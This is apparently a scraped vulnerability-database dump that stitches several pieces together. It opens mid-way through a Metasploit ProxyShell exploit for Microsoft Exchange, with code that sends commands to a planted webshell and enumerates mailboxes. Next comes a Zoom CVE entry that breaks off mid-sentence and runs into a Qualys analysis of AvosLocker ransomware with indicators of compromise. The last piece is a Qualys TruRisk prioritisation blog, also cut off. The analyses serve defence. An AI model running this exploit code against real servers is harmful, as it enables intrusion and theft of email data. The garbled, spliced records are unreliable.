=> 'POST',\n 'uri' => normalize_uri(web_directory, @shell_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@shell_input_name}=#{cmd}\"\n )\n end\nend\n\n# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox\n# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses\n# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using\n# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.\nclass MailboxEnumerator\n def initialize(mod)\n @mod = mod\n end\n\n # the characters that Exchange Server 2019 allows in an alias (no unicode)\n ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\\'*+-/=?^_`{|}~'.freeze\n XML_NS = {\n 'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',\n 't' => 'http://schemas.microsoft.com/exchange/services/2006/types'\n }.freeze\n\n include Enumerable\n XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate\n\n def each(name: 'SMTP:', &block)\n envelope = XMLTemplate.render('soap_getemails', name: name)\n res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')\n return unless res&.code == 200\n\n if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'\n ALIAS_CHARSET.each_char do |char|\n each(name: name + char, &block)\n end\n else\n res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|\n yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }\n end\n end\n end\nend\n\nclass PstEncoding\n ENCODE_TABLE = [\n 71, 241, 180, 230, 11, 106, 114, 72,\n 133, 78, 158, 235, 226, 248, 148, 83,\n 224, 187, 160, 2, 232, 90, 9, 171,\n 219, 227, 186, 198, 124, 195, 16, 221,\n 57, 5, 150, 48, 245, 55, 96, 130,\n 140, 201, 19, 74, 107, 29, 243, 251,\n 143, 38, 151, 202, 145, 23, 1, 196,\n 50, 45, 110, 49, 149, 255, 217, 35,\n 209, 0, 94, 121, 220, 68, 59, 26,\n 40, 197, 97, 87, 32, 144, 61, 131,\n 185, 67, 190, 103, 210, 70, 66, 118,\n 192, 109, 91, 126, 178, 15, 22, 41,\n 60, 169, 3, 84, 13, 218, 93, 223,\n 246, 183, 199, 98, 205, 141, 6, 211,\n 105, 92, 134, 214, 20, 247, 165, 102,\n 117, 172, 177, 233, 69, 33, 112, 12,\n 135, 159, 116, 164, 34, 76, 111, 191,\n 31, 86, 170, 46, 179, 120, 51, 80,\n 176, 163, 146, 188, 207, 25, 28, 167,\n 99, 203, 30, 77, 62, 75, 27, 155,\n 79, 231, 240, 238, 173, 58, 181, 89,\n 4, 234, 64, 85, 37, 81, 229, 122,\n 137, 56, 104, 82, 123, 252, 39, 174,\n 215, 189, 250, 7, 244, 204, 142, 95,\n 239, 53, 156, 132, 43, 21, 213, 119,\n 52, 73, 182, 18, 10, 127, 113, 136,\n 253, 157, 24, 65, 125, 147, 216, 88,\n 44, 206, 254, 36, 175, 222, 184, 54,\n 200, 161, 128, 166, 153, 152, 168, 47,\n 14, 129, 101, 115, 228, 194, 162, 138,\n 212, 225, 17, 208, 8, 139, 42, 242,\n 237, 154, 100, 63, 193, 108, 249, 236\n ].freeze\n\n def self.encode(data)\n encoded = ''\n data.each_char do |char|\n encoded << ENCODE_TABLE[char.ord].chr\n end\n encoded\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_proxyshell_rce.rb", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-05-23T15:30:24", "description": "A buffer overflow vulnerability was discovered in Zoom Client for Meetings (for Android, iOS, Linux, macOS, and Windows) before version 5.8.4, Zoom Client for Meetings for Blackberry (for Android and iOS) before version 5.8.1, Zoom Client for Meetings for intune (for Android and iOS) before version 5.8.4, Zoom Client for Meetings for Chrome OS before version 5.0.1, Zoom Rooms for Conference Room (for Android, AndroidBali, macOS, and Windows) before version 5.8.3, Controllers for Zoom Rooms (for Android, iOS, and Windows) before version 5.8.3, Zoom VDI Windows Meeting Client before version 5.8.4, Zoom VDI Azure Virtual Desktop Plugins (for Windows x86 or x64, IGEL x64, Ubuntu x64, HP ThinPro OS x64) before version 5.8.4.21112, Zoom VDI Citrix Plugins (for Windows x86 or x64, Mac Universal Installer & Uninstaller, IGEL x64, eLux RP6 x64, HP ThinPro OS x64, Ubuntu x64, CentOS x 64, Dell ThinOS) before version 5.8.4.21112, Zoom VDI VMware Plugins (for Windows x86 or x64, Mac Universal Installer & Uninstaller, IGEL x64, eLux RP6 x64, HP ThinPro OS x64, Ubuntu x64, CentOS x 64, Dell ThinOS) before version 5.8.4.21112, Zoom Meeting SDK for Android before version 5.7.6.1922, Zoom Meeting SDK for iOS before version 5.7.6.1082, Zoom Meeting SDK for macOS before version 5.7.6.1340, Zoom Meeting SDK for Windows before version 5.7.6.1081, Zoom Video SDK (for Android, iOS, macOS, and Windows) before version 1.1.2, Zoom On-Premise Meeting Connector Controller before version 4.8.12.20211115, Zoom On-Premise Meeting Connector MMR before version 4.8.12.20211115, Zoom On-Premise Recording Connector before version 5.1.0.65.20211116, Zoom On-Premise Virtual Room Connector before version 4.4.7266.20211117, Zoom On-Premise Virtual Room Connector Load Balancer before version 2.5.5692.20211117, Zoom Hybrid Zproxy before version 1.0.1058.20211116, and Zoom Hybrid MMR before version 4.6.20211116.131_x86-64. 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Now a new variant of AvosLocker malware is also targeting Linux environments. In this blog, we examine the behavior of these two AvosLocker Ransomware in detail._\n\nAvosLocker is a relatively new ransomware-as-a-service that was first spotted in late June 2021. The attackers use spam email campaigns as initial infection vectors for the delivery of the ransomware payload. During the encryption, process files are appended with the ".avos" extension. An updated variant appends with the extension ".avos2". Similarly, the Linux version appends with the extension ".avoslinux".\n\nAfter every successful attack, the AvosLocker gang releases the names of their victims on the Dark Leak website hosted on the TOR network and provides exfiltrated data for sale. URL structure: `hxxp://avosxxx\u2026xxx[.]onion`\n\nThe AvosLocker gang also advertises their latest ransomware variants on the Dark Leak website. URL structure: `hxxp://avosjonxxx\u2026xxx[.]onion`\n\nThe gang has claimed, \u201cThe AvosLocker's latest Windows variant is one of the fastest in the market with highly scalable threading and selective ciphers.\u201d They offer an affiliate program that provides ransomware-as-a-service (RaaS) for potential partners in crime.\n\nRecently they have added support for encrypting Linux systems, specifically targeting VMware ESXi virtual machines. This allows the gang to target a wider range of organizations. It also possesses the ability to kill ESXi VMs, making it particularly nasty.\n\nAccording to [deepweb research](<https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/>) by Cyble Research Labs, the Threats Actors of AvosLocker ransomware groups are exploiting Microsoft Exchange Server vulnerabilities using Proxyshell, compromising the victim\u2019s network.\n\nCVEs involved in these exploits are CVE-2021-34473, CVE-2021-31206, CVE-2021-34523, and CVE-2021-31207.\n\n### Technical Analysis of AvosLocker Windows Variant\n\n#### Command-Line Options\n\nThe following figure shows a sample of Command-Line Options.\n\nFig. 1: Command Line Option\n\nThe available options allow for control over items like enabling/disabling SMB brute force, mutex creation, or control over the concurrent number of threads. \nIf no options are given, the malware runs with default options as shown in figure 2, where it ignores encryption of network drives and SMB share. It runs 200 threads concurrently of its file encryption routine.\n\nFig. 2: Execution with Default Parameter\n\nWhile execution, the malware console displays detailed information about its progress on the screen (fig. 3).\n\nFig. 3: Progress Details\n\nMost of the strings in the malware are kept in the XOR encrypted format. The decryption routines are similar, only registers and keys are different (fig. 4). Strings are decrypted just before their use.\n\nFig. 4: Commonly Used Decryption Routine\n\nInitially, the malware collects the command line options provided while launching the application (fig. 5).\n\nFig. 5: Get command-line Options\n\nThen it decrypts the mutex name \u201cCheic0WaZie6zeiy\u201d and checks whether it is already running or not to avoid multiple instances (fig. 6).\n\nFig. 6: Mutex Creation\n\nAs shown in figure 7, AvosLocker uses multi-threaded tactics. It calls the below APIs to create multiple instances of worker threads into memory and share file paths among multiple threads. Smartly utilizing the computing power of multi-core CPUs.\n\nAPIs called:\n\n * CreateIoCompletionPort()\n * PostQueuedCompletionStatus()\n * GetQueuedCompletionPort()\n\nFig. 7: Use of CreateIoCompletionPort\n\nThe code creates multiple threads in a loop (fig. 8). The threads are set to the highest priority for encrypting data quickly.\n\nFig. 8: Create Thread In-Loop and Set Priority\n\nAvosLocker ransomware performs a recursive sweep through the file system (fig. 9), searches for attached drives, and enumerates network resources using API WNetOpenEnum() and WnetEnumResource().\n\nFig. 9: Search Network Share\n\nBefore selecting the file for encryption, it checks for file attributes and skips it if \u201c**FILE_ATTRIBUTE_HIDDEN**\u201d or \u201c**FILE_ATTRIBUTE_SYSTEM**\u201d as shown in figure 10.\n\nFig. 10: Check File Attribute\n\nOnce the file attribute check is passed, it performs the file extension check. It skips files from encryption if its extension gets matched with one of the extensions shown in figure 11.\n\nFig. 11: Skip Extension List\n\nIt also contains the list of files and folders that need to be skipped from the encryption (fig. 12).\n\nFig. 12: Skip File Folder List\n\nAvosLocker uses RSA encryption, and it comes with a fixed hardcoded ID and RSA Public Key of the attacker (fig. 13).\n\nFig. 13: Hardcoded Public Key\n\nAfter file encryption using RSA, it uses the ChaCha20 algorithm to encrypt encryption-related information (fig. 14).\n\nFig. 14: Use of ChaCha20\n\nIt appends this encryption-related information (fig. 15) at the end of the file with Base64 encoded format.\n\nFig.15: Encryption Related Information\n\nThen it appends the "avo2" extension to the file using MoveFileWithprogressW (fig. 16).\n\nFig. 16: Add Extension Using Move File\n\nAs seen in figure 17, it has appended "avos2" extensions.\n\nFig. 17: File with Updated Extension\n\nIt writes a ransom note (fig. 18) named \u201cGET_YOUR_FILES_BACK.txt\u201d to each encrypted directory before encryption of the file.\n\nFig. 18: Ransom Note\n\nThe ransom note instructs the user to not to shut down the system in case encryption is in progress to avoid file corruption. It asks the victim to visit the onion address with the TOR browser to pay the ransom and to obtain the decryption key to decrypt the application or files.\n\n#### AvosLocker Payment System\n\nAfter submitting the "ID" mentioned on the ransom note to AvosLocker's website (fig. 19), the victim will be redirected to the "payment" page.\n\nFig. 19: AvosLocker's Website\n\nIf the victim fails to pay the ransom, the attacker then puts the victim\u2019s data up for sale. Figure 20 shows the list of victims (redacted for obvious reasons) mentioned on the site.\n\nFig. 20: List of Victims\n\nAvosLocker also offers an affiliate program that provides ransomware-as-a-service (RaaS). They provide \u201chelpful\u201d services to clients such as:\n\n * Supports Windows, Linux & ESXi.\n * Affiliate panel\n * Negotiation panel with push & sound notifications\n * Assistance in negotiations\n * Consultations on operations\n * Automatic builds\n * Automatic decryption tests\n * Encryption of network resources\n * Killing of processes and services with open handles to files\n * Highly configurable builds\n * Removal of shadow copies\n * Data storage\n * DDoS attacks\n * Calling services\n * Diverse network of penetration testers, access brokers and other contacts\n\nFig. 21: Partnership Program\n\n### Technical Analysis of AvosLocker Linux Variant\n\nIn this case, the AvosLocker malware arrives as an elf file. As shown in figure 22, the analyzed file is x64 based Linux executable file.\n\nFig. 22: File Details\n\nIt\u2019s a command-line application having some command-line options (fig. 23).\n\nFig. 23: Command-Line Options\n\nThe `<Thread count>` parameter as shown above represents the number of threads that can be created to encrypt files simultaneously. It possesses the capability to kill ESXi VMs based on the parameter provided while executing.\n\nUpon execution, the malware first collects information about the number of threads that need to be created. Then it checks for string \u201cvmfs\u201d in the file path provided as a command-line argument (fig. 24).\n\nFig. 24: Checks for \u201cvmfs\u201d\n\nAfter that, it also checks for string \u201cESXi\u201d in the file path provided as a command-line argument (fig. 25).\n\nFig. 25: Checks for \u201cESXi\u201d\n\nIf this parameter is found, then it calls a routine to kill the running ESXi virtual machine (fig. 26).\n\nFig. 26: Code to Kill ESXi Virtual Machine\n\nThe command used for killing the ESXi virtual machine is as shown in figure 27.\n\nFig. 27: Command to Kill Running ESXi Virtual Machine\n\nFurther, AvosLocker drops a ransom note file (fig. 28) at the targeted directory.\n\nFig. 28: Create ransom note\n\nAfter that, it starts creating a list of files that must be encrypted. Before adding a file path to the list, it checks whether it is a regular file or not (fig. 29). Only regular files are added to the encryption list.\n\nFig. 29: Checks File Info\n\nAvosLocker skips the ransom note file and any files with the extension \u201cavoslinux\u201d from adding into the encryption list (fig. 30).\n\nFig. 30: Skip \u201cavoslinux\u201d Extension File\n\nThen it calls the mutex lock/unlock API for thread synchronization as shown in figure 31.\n\nFig. 31: Lock-Unlock Mutex for Thread Synchronization\n\nBased on the number of threads specified, it creates concurrent CPU threads (fig. 32). This helps in encrypting different files simultaneously at a very fast speed.\n\nFig. 32: Create Threads in Loop\n\nAvosLocker\u2019s Linux variant makes use of Advanced Encryption Standard (AES) and elliptic-curve cryptography (ECC) algorithms for data encryption.\n\nFile-related information along with the encryption key used might be encrypted and then encoded with base 64 formats. This encoded information is added at the end of each encrypted file (fig. 33).\n\nFig. 33: File-related Info added at the end\n\nFigure 34 shows the malware appending the extension \u201c.avoslinux\u201d to the encrypted file names.\n\nFig. 34: Append file extension \u201c.avoslinux\u201d after encryption\n\nBefore starting file encryption, it creates a ransom note named \u201cREADME_FOR_RESTORE \u201c. The content of this ransom note is shown in figure 35.\n\nFig. 35: Ransom Note\n\nThe ransom note instructs the victim not to shut down the system in case encryption is in progress to avoid file corruption. It asks the victim to visit the onion address with a TOR browser to pay the ransom and to obtain the decryption key and decryption application.\n\n### Indicators of Compromise (IOCs):\n \n \n Windows: C0A42741EEF72991D9D0EE8B6C0531FC19151457A8B59BDCF7B6373D1FE56E02\n \n \n Linux: 7C935DCD672C4854495F41008120288E8E1C144089F1F06A23BD0A0F52A544B1\n \n \n URL:\n hxxp://avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad[.]onion.\n hxxp://avosqxh72b5ia23dl5fgwcpndkctuzqvh2iefk5imp3pi5gfhel5klad[.]onion\n\n### TTP Map:\n\nInitial Access| Execution| Defense Evasion| Discovery| Impact \n---|---|---|---|--- \nPhishing (T1566)| User Execution \n(T1204)| Obfuscated Files or Information (T1027)| System Information Discovery (T1082)| Data Encrypted for Impact \n(T1486) \n| | | File and Directory Discovery (T1083)| Inhibit System Recovery \n(T1490)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-07T05:18:46", "type": "qualysblog", "title": "AvosLocker Ransomware Behavior Examined on Windows & Linux", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-07T05:18:46", "id": "QUALYSBLOG:DC0F3E59C4DA6EB885E6BCAB292BCA7D", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-11T22:50:52", "description": "Vulnerability Management is a foundational component of any cybersecurity program for the implementation of appropriate security controls and the management of cyber risk. Earlier this year Qualys introduced the latest iteration of its vulnerability management product [VMDR 2.0 with TruRisk](<https://blog.qualys.com/product-tech/2022/06/06/introducing-qualys-vmdr-2-0>) which focusses on helping organizations understand and manage cyber risk. Qualys TruRisk assesses risk by taking into account multiple factors such as evidence of vulnerability exploitation, asset criticality, its location, and evidence of compensating controls on the asset among many other factors to assess the accurate risk posture for an organization.\n\nIn this blog we do a deep-dive into the vulnerability prioritization algorithm for TruRisk, compare it to existing vulnerability scoring systems, such as Common Vulnerability Scoring System (CVSS) and Exploit Prediction Scoring System (EPSS), to demonstrate why TruRisk is a better method for prioritizing risk than existing methods. This blog is the first of many blogs focused on different aspects of TruRisk, with other aspects covered in later blogs.\n\n### **Key Takeaways**\n\n * Since 2016, every subsequent year has reported more vulnerabilities than the year before (on average 8%-10% more)\n * CVSS based prioritization results in 51% of vulnerabilities marked as high or critical which leads to ineffective, low-value prioritization\n * Less than 3% of vulnerabilities have weaponized exploits or evidence of exploitation in the wild, two attributes posing the highest risk.\n * Exploit Prediction Scoring System (EPSS) is a step in the right direction to predict vulnerability exploitation. However, it still ranks some vulnerabilities that are actively exploited with a lower probability of exploitation\n * Qualys TruRisk helps organizations prioritize risk by focusing on exploitability, evidence of exploitability, and likelihood of exploitability resulting in up to 85% fewer vulnerabilities to prioritize compared to CVSS.\n\nQualys TruRisk brings asset context, threat context and vulnerability intelligence data under one platform empowering IT and security teams to make better, informed prioritization decisions.\n\nBut first let\u2019s talk about few key challenges.\n\n### Vulnerabilities Are on the Rise\n\nEvery year since 2016, (see Fig. 1) the number of the vulnerabilities reported by NIST has been greater than the year before. According to the [National Vulnerability Database](<https://nvd.nist.gov/vuln/search/statistics?form_type=Basic&results_type=statistics&search_type=all&isCpeNameSearch=false>) (NVD) the number of vulnerabilities reported in 2022 (18,841) has already surpassed the vulnerabilities reported in 2020. And we still have three months to go.\n\nFigure 1: Number of Vulnerabilities by Year (Source: NVD)\n\n### **Vulnerability Threat Landscape**\n\nAs the number of vulnerabilities increase, so does the risk to enterprises. But not all vulnerabilities are created equally. Some vulnerabilities pose greater risk to organizations than others. For example, less than 3% of the vulnerabilities have exploit code weaponized. It is crucial to prioritize vulns like these, that are some of the most critical vulnerabilities first. \n\nFigure 2: Vulnerability Threat Landscape\n\nTraditionally, organizations have relied on CVSS scores for prioritization. However, as we will see in the next section, there are limitations in using CVSS as the only vulnerability prioritization method.\n\n### Challenges With CVSS Based Prioritization \n\nThe **Common Vulnerability Scoring System (CVSS) was introduced in the early 2000s to address the need for **a common method to rate the severity of vulnerabilities. Previously, two researchers could rate the same exact vulnerability in different ways based on their subjective understanding of the vulnerability. This created confusion for security practitioners because they could not accurately determine the actual severity of vulnerabilities. The CVSS system was developed to address this issue by enabling the uniform _technical_ severity assessment of vulnerabilities.\n\nA key factor to keep in mind is CVSS only calculates the technical severity of the vulnerability, not the risk it poses to an organization. Over time, CVSS has been used as a proxy for determining the risk a vulnerability posed to the organization, leading to unintended consequences. This includes patching cycles spent fixing countless vulnerabilities with a CVSS score of 7.5 or higher, while some medium severity vulnerabilities were deprioritized even if they posed a greater risk.\n\nCVSS scores are categorized into four categories low, medium, high, critical. \n\nCVSS Score| CVSS Severity \n---|--- \n0.1 \u2013 3.9| Low \n4.0 \u2013 6.9| Medium \n7.0 \u2013 8.9| High \n9.0 \u2013 10.0| Critical \n \nFigure 3: CVSS Score distribution grouped by CVSS severity\n\nAs shown in Fig.3, **51% (96,340) of the total vulnerabilities are categorized as Critical or High according to CVSS scores**. However, empirical research shows that not all the vulnerabilities in these CVSS score buckets need equal/high attention. The main issue is that CVSS base scores don\u2019t consider threat information like active exploitation in the wild, likelihood of the exploitation in the wild, activity associated with it in dark web or social media, known exploit categorized by CISA, threat actors associated, etc.\n\nAs shown in Fig. 4, as expected known exploited vulnerabilities (as categorized by [CISA Known Exploited Vulnerabilities (KEV) Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)) are concentrated at higher CVSS scores (the red dots indicate CISA KEV vulnerabilities).\n\nHowever, there are a significant number of exploits discovered even for lower CVSS scores. For example, **there are 92 out of 832 (11%) CISA_KEV vulnerabilities that have a CVSS score of less than 7.** This could be an issue when relying only on CVSS scores.\n\nFigure 4: CISA known vulnerabilities distributed across CVSS score.\n\n### **Exploit Prediction Scoring System**\n\nTo address challenges related to lack of threat context in the CVSS scoring system, first.org in recent years introduced [Exploit Prediction Scoring System (EPSS)](<https://www.first.org/epss/>), an open, data-driven effort for estimating the likelihood (probability) that a software vulnerability will be exploited in the wild. This is a step in the right direction. EPSS\u2019s goal is to help network defenders better prioritize vulnerability remediation efforts. The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.\n\nAs evidenced by Figure 5. EPSS helps highlight vulnerabilities with high likelihood of exploitation and correlates well with CISA KEV vulnerabilities.\n\nFigure 5: EPSS Score and CISA Known Vulnerabilities distribution across CVSS score\n\nFigure 6: EPSS Score distribution\n\nThe availability of patches also plays a key role in EPSS scores. If patches are available, the probability of exploitation is ranked lower. Many of the CISA Known Vulnerabilities are scored lower in EPSS if they have patches/fixes available. However when prioritizing what to patch first, we need to consider the whole set, not just the ones with patches. For example, consider the following recent vulnerabilities which have low EPSS scores. If we rely only on EPSS to prioritize them, they will not show up in a priority list of vulnerabilities to be remediated. Several examples of vulnerabilities with low EPSS scores and high TruRisk scores are shown in Figure 5.\n\nCVE| Title| EPSS| TruRisk (QVS) \n---|---|---|--- \nCVE-2021-36942| PetitPotam| 0.26| 95 \nCVE-2021-31207| Proxyshell| 0.02| 95 \nCVE-2021-34523| Proxyshell| 0.16| 100 \nCVE-2022-30190| Follina| 0.69| 100 \nCVE-2016-3351| Microsoft Edge Cumulative Security Update (MS16-105)| 0.24| 95 \n**Critical CVEs with patches available scoring low on EPSS**\n\n### **Qualys Severity Levels**\n\nGiven the challenges with CVSS scores, the Qualys research team introduced [Qualys severity levels](<https://qualysguard.qg2.apps.qualys.com/qwebhelp/fo_portal/knowledgebase/severity_levels.htm>) to assess the severity of Qualys IDs (QIDs). In addition to determining the risk associated with exploitation, Qualys severity levels also focus on potential consequences of vulnerability exploitation from an attacker\u2019s point of view. Each QID severity level is reviewed by the Qualys Research Team, including taking vulnerability chaining, server-side vs client-side vulnerabilities, and information from various threat-intel sources to accurately assess them into consideration.\n\nQualys severity levels are an improvement over CVSS as they helped customers quickly prioritize critical vulnerabilities as can be seen in Fig. 7. \n\nFigure 7: Qualys Severity Level Distribution (Source: Qualys)\n\n### Qualys TruRisk, a Data-Driven Way To Prioritize Risks\n\nAll of the scoring mechanisms presented so far are attempting to answer one key question\n\n_What should defenders focus on first?_\n\nEach model attempts to answer the question in its own way but falls short of its goal. Organizations need a better way to respond quickly and prioritize vulnerabilities based on risk.\n\nTo address these challenges Qualys introduced [Qualys VMDR 2.0 with TruRisk](<https://blog.qualys.com/product-tech/2022/06/06/introducing-qualys-vmdr-2-0>) earlier this year to help organizations prioritize vulnerabilities, assets, and groups of assets based on risk. \n\nQualys VMDR with TruRisk is powered by one of the most comprehensive exploit and threat intelligence databases. It spans over 185k CVEs, and 25+ unique threat and exploit intelligence sources such as Metasploit, Canvas, CISA KEV, and even Github, which is increasingly becoming the go-to place to publish exploits.\n\nWith TruRisk, organizations can pinpoint which CVEs are exploited in the wild (even those that don't have a QID) and which malware, ransomware, or threat actor groups are exploiting them. These insights can then be used to prioritize vulnerabilities based on risk.\n\nLet\u2019s take a closer look into how the TruRisk algorithm works, and how it compares to CVSS and EPSS.\n\nTo determine risk, Qualys TruRisk vulnerability scores rely on multiple factors to build the most accurate risk profile for a vulnerability.\n\n**Qualys Vulnerability Score (QVS)** is a Qualys-assigned score for a vulnerability based on multiple factors associated with the CVE such as CVSS and external threat indicators like active exploitation, likelihood of vulnerability being exploited in wild, sighting in the darkweb and social web, exploit code maturity, CISA known exploitable and many more. \n \n**Qualys Detection Score (QDS)** is assigned to QIDs by Qualys. QDS has a range from 1 to 100. If multiple CVEs contribute to a QID, the CVE with the highest score is considered for the QDS calculation. \n \n**Asset Risk Score (ARS)** is the overall risk score assigned to the asset based on the following contributing factors such as Asset Criticality Score (ACS), QDS scores for each QID level, Auto-assigned weighting factor (w) for each criticality level of QIDs, number of vulnerabilities on an asset.\n\nHere is the list of inputs that go into the algorithm.\n\n### **CVSS Base Score**\n\nThe CVSS base score serves as one of the key inputs to assess the risk of the vulnerability. CVEs with higher CVSS base scores are rated higher than those with lower scores. But a high CVSS score alone doesn\u2019t result in a high TruRisk risk score. Evidence of exploitation or weaponized exploit code maturity is required for the CVE to fall in the critical range.\n\n### **CISA Known Exploited Vulnerability (KEV)**\n\nVulnerabilities that are catalogued by CISA as known exploited vulnerabilities that are actively being exploited in the wild are included in the algorithm\n\n### **Real-Time Threat Indicators (RTIs)**\n\nThe TruRisk algorithm considers the type of vulnerability. For example, is it a Denial-of-Service (DoS) vulnerability or a remotely exploitable vulnerability? In the case of remote vulnerability or a web application vulnerability, the risk is rated higher. Other RTI\u2019s such as zero-day, active attacks, high data loss, high lateral movement, etc. that are collected from various threat feeds are also considered by the algorithm.\n\n### **Exploit Code Maturity **\n\nThe TruRisk algorithm analyzes the exploit code maturity for the given vulnerability. The exploit code maturity could be a Proof-of-Concept (PoC) which suggests a theoretical exploit exists. The exploit may already work against systems, or it could be weaponized, in which case the exploit code is considered very mature and can be easily used to compromise a system. The QDS algorithm rates weaponized exploits higher than PoC exploits. \n\n### **Malware **\n\nThe TruRisk algorithm checks to see if the vulnerability is being actively exploited by malware. If it is, then the risk is rated higher.\n\n### **Threat Actors / Ransomware Groups**\n\nThe TruRisk algorithm validates if any threat actors or ransomware groups are actively exploiting the vulnerability. If that is the case, the risk is rated even higher than if it only being exploited by malware. \n\n### **Trending Risk**\n\nThe TruRisk algorithm checks if the vulnerability has been actively exploited in the last 14 days by monitoring the Dark Web, social media, GitHub accounts, and many other similar sources. The risk is further increased if the vulnerability is determined to be trending and exploited in the wild. \n\n### **Applied Mitigation Controls**\n\nThe algorithm correlates the risk from the vulnerability with intelligence related to the asset to assess whether the vulnerability represents a threat to it. For example, the vulnerability may exist on the asset, but the system may have mitigation controls already applied which greatly reduce the risk of exploitation of the vulnerability in the customer\u2019s specific environment. \n\n### **EPSS Score (from First.org)**\n\nQualys TruRisk also leverages [EPSS](<https://www.first.org/epss/model>) scores which predict the probability of a vulnerability being exploited in the next 30 days. Vulnerabilities with a higher EPSS score are ranked higher.\n\nFigure 8: Contributing factors to Qualys TruRisk Scores\n\n### How Does Qualys TruRisk Compare Against CVSS and EPSS?\n\nAs customers adopt Qualys TruRisk to address their prioritization needs they want to know how CVSS and EPSS and TruRisk compare.\n\nQualys TruRisk is hyper focused on three attributes: exploit availability, evidence of exploitation in the wild, and likelihood of exploitation. This helps organizations focus on the highest risk vulnerabilities.\n\nQualys TruRisk rates less than 1% of vulnerabilities as critical, and less than 7% of vulnerabilities as high. This drastically reduces the number of vulnerabilities (up to 85% fewer compared to CVSS which ranks 51% of vulnerabilities high or critical) that organizations need to focus on to reduce risk. See Fig. 9.\n\nClearly organizations need to remediate other vulnerabilities as well. However, when deciding where to begin, we recommend starting with vulnerabilities that have a TruRisk-QDS risk score of 70 or higher. \n\n### **Qualys Vulnerability Score (QVS) vs CVSS**\n\nFigure 9: Distribution of TruRisk (QVS) Scores vs CVSS\n\n### **Qualys TruRisk vs EPSS**\n\nThe following figure (Fig. 10) shows the distribution of EPSS scores with Qualys Vulnerability Scores (QVS) and CISA known vulnerabilities. QVS scores consistently place vulnerabilities with evidence of exploitation, such as CISA known vulnerabilities, in a higher score range even if the EPSS score is low as annotated in the figure below.\n\nFigure 10: EPSS Score vs TruRisk (QVS) Score\n\n### **Qualys TruRisk (QVS) vs CISA KEV**\n\nEvidence of vulnerability exploitation from sources such as a CISA KEV and other threat intelligence sources tracked by the Qualys research team play a key role in determining the risk of a vulnerability.\n\nAs seen below, vulnerabilities that appear in CISA Known Exploited Vulnerabilities are consistently scored higher (QVS scores of 90 or higher) by the Qualys TruRisk algorithm. (fig. 11).\n\nFigure 11: CISA Known Vulnerabilities distributed across QVS score.\n\nLet's take the example of CVE-2021-36942 (the Windows LSA Spoofing Vulnerability). It is rated at 5.3 by the National Vulnerability Database (NVD), but it\u2019s actively exploited today by malware groups and threat actors. The exploit code maturity is weaponized, making it easy for attackers to exploit the vulnerability to compromise and infect systems). Qualys TruRisk ranks CVE-2021-36942 vulnerability as critical given its exploit availability and evidence of exploitation in the wild.\n\n\n\n### **How to Interpret Qualys TruRisk Scores**\n\nQualys TruRisk builds the vulnerability risk profile of vulnerabilities, assets, and asset groups by using the following three risk scores:\n\n**Qualys Vulnerability Score (QVS)** \u2013 QVS is assessed at each CVE level based on the external threat and exploit intelligence factors listed above. It is also computed for vulnerabilities that don\u2019t have Qualys vulnerability detection signatures (QIDs). These QVS scores can be individually queried for insights from our [dedicated API endpoint](<https://blog.qualys.com/product-tech/2022/08/08/a-deep-dive-into-vmdr-2-0-with-qualys-trurisk>).\n\n**Qualys Detection Score (QDS)** \u2013 QDS is assessed at each QID level. This is the score customers need to focus on for their vulnerability prioritization needs. **QDS builds on the QVS score by adding two key aspects**. Some QIDs can be mapped to multiple CVEs. QDS selects the highest QVS of all associated CVEs to that QID. Next, QDS accounts for any compensating/mitigation controls that are applied to an asset to reduce the risk score for a given vulnerability. For example, QDS will reduce the risk of a Remote Desktop Protocol (RDP) vulnerability if RDP is disabled.\n\nQDS/QVS Range| Description \n---|--- \n>=95| CVSS critical, exploited in the wild, has weaponized exploit available, trending risk on social media, dark web. \n90-95| CVSS critical, weaponized exploit available, and evidence of exploitation by malware, threat actors/ransomware groups \n80-89| CVSS Critical, weaponized 